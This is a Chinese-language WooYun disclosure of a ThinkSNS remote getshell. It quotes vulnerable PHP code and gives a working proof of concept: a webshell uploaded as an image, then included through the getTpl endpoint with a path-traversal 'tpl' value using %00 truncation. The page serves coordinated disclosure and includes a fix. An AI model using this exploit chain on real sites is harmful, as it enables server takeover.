当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(32) 关注此漏洞

缺陷编号: WooYun-2014-79186

漏洞标题: ThinkSNS 前台getshell

相关厂商: ThinkSNS

漏洞作者: phith0n认证白帽子

提交时间: 2014-10-13 14:40

公开时间: 2015-01-11 14:42

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 细节已通知厂商并且等待厂商处理中
2014-10-14: 厂商已经确认,细节仅向厂商公开
2014-10-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-08: 细节向核心白帽子及相关领域专家公开
2014-12-18: 细节向普通白帽子公开
2014-12-28: 细节向实习白帽子公开
2015-01-11: 细节向公众公开

简要描述:

XDCTF2014能顺利结束真开心,发0day凑点钱请大家吃个饭~

详细说明:

/apps/page/Lib/Action/DiyAction.class.php 330行:

code 区域
public function getTpl() {
$parseTag = model ( 'ParseTag' );
$tpl = $_REQUEST ['tpl'];
$sign = $_REQUEST ['sign'];
$tagName = $_REQUEST ['tagName'];
echo $parseTag->getTplContent ( $tpl, $tagName, $sign );
}



getTpl函数,直接去了$_REQUEST中的三个变量,传给getTplContent函数,进去看看:

code 区域
public function getTplContent($tpl, $tagName, $sign) {
if (strpos ( $tpl, 'custom' ) !== false) {
return model ( 'DiyWidget' )->getTemplateByPluginId ( $sign );
} else {
list ( $dir, $file ) = explode ( ':', $tagName );
$file = ucfirst ( $file );

require_once self::$tags [strtolower ( $tagName )];
$this->fileObject = new $file ();
ob_start ();
ob_implicit_flush ( 0 );
include $this->fileObject->getTemplateFile ( $tpl );
$content = ob_get_clean ();
return $content;
}

}



关注这三行:

list ( $dir, $file ) = explode ( ':', $tagName );

$this->fileObject = new $file ();

include $this->fileObject->getTemplateFile ( $tpl );

首先从tagName中取出dir和file,并新建一个file对象。最后调用file对象的getTemplateFile函数,将$tpl传入。最后包含之。

我们看看哪些对象有getTemplateFile方法:

001.jpg



这些都行,我们随便找个进去看看:

比如DiyImage:

code 区域
public function getTemplateFile($tpl = "") {
//返回需要渲染的模板
$file = $this->attr ['style'];
if(!empty($tpl)){
$file = $tpl;
}
return dirname(__FILE__).'/DiyImage/'.$file.'.html';
}



实际上最后包含的就是:dirname(__FILE__).'/DiyImage/'.$file.'.html';

所以,我们可以通过%00截断来进行任意文件包含。

thinksns全局没用转义$_GET/$_POST/$_REQUEST,而是在相应位置调用t()函数过滤。但在这个点,并未对$_REQUEST ['tpl'];进行t()过滤,所以%00没有被转义)

漏洞证明:

注册登录,发微博处直接传webshell:

002.jpg





向http://localhost/thinksns/index.php?app=page&mod=Diy&act=getTpl

POST数据:

tpl=../../../../../data/upload/2014/1013/14/543b6f21ed721_100_100.gif%00&tagName=w:DiyImage&sign=

tpl处为webshell地址,使用00截断。

需要加个referer,如图:

003.jpg



成功getshell。

修复方案:

t($_REQUEST['tpl']);

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-10-14 09:24

厂商回复:

非常感谢,DIY模块应该只有管理员才可以操作使用。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-10-13 15:33 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
    1

    前排围观又一个getshell

  2. 2014-10-13 15:38 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:941 漏洞数:89 )
    0

    你们是打算来次大保健吧

  3. 2014-10-13 15:54 | 0x7575 ( 实习白帽子 | Rank:62 漏洞数:15 )
    0

    哎 膜拜!

登录后才能发表评论,请先 登录